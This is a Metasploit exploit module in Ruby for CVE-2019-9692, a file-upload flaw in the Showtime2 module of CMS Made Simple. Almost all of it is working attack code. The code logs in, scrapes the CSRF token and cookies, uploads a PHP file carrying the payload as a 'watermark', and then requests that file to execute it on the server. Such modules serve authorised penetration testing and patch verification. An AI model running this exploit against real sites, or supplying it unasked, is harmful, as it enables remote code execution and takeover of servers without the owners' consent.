##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
        'Description' => %q{
          This module exploits a File Upload vulnerability that lead in a RCE in
          Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
          user with "Use Showtime2" privilege could exploit the vulnerability.

          The vulnerability exists in the Showtime2 module, where the class
          "class.showtime2_image.php" does not ensure that a watermark file
          has a standard image file extension (GIF, JPG, JPEG, or PNG).

          Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
          3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniele Scanu', # Discovery & PoC
          'Fabio Cogno' # Metasploit module
        ],
        'References' => [
          ['CVE', '2019-9692'],
          ['CWE', '434'],
          ['EDB', '46546'],
          ['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],
          ['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']
        ],
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic', {}]],
        'Privileged' => false,
        'DisclosureDate' => '2019-03-11',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),
        OptString.new('USERNAME', [true, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
      ]
    )
  end

  def do_login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
      'vars_post' => {
        'username' => datastore['username'],
        'password' => datastore['password'],
        'loginsubmit' => 'Submit'
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 302
      @csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
      @csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
      @cookies = res.get_cookies
      return
    end

    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
  end

  def upload(fname, fcontent)
    # construct POST data
    data = Rex::MIME::Message.new
    data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
    data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
    data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
    data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'headers' => {
        'Cookie' => @cookies
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)
      return
    end

    print_warning('No confidence in PHP payload success or failure')
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
    )

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not connect to the target')
    end

    if res.code == 200
      module_version = Rex::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
      if module_version < Rex::Version.new('3.6.3')
        # Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
        vprint_status("Showtime2 version: #{module_version}")
        return Exploit::CheckCode::Appears('The target is running a vulnerable version')
      end
    end

    return Exploit::CheckCode::Safe('The target version is not vulnerable')
  end

  def exploit
    unless Exploit::CheckCode::Appears == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    @csrf_name = nil
    @csrf_value = nil
    @cookies = nil

    do_login

    # Upload PHP payload
    fname = "#{rand_text_alphanumeric(3..9)}.php"
    fcontent = "<?php #{payload.encode} ?>"
    print_status('Uploading PHP payload.')
    upload(fname, fcontent)

    # Register uploaded PHP payload file for cleanup
    register_files_for_cleanup('./' + fname)

    # Retrieve and execute PHP payload
    print_status("Making request for '/#{fname}' to execute payload.")
    send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
      },
      15
    )
  end
end
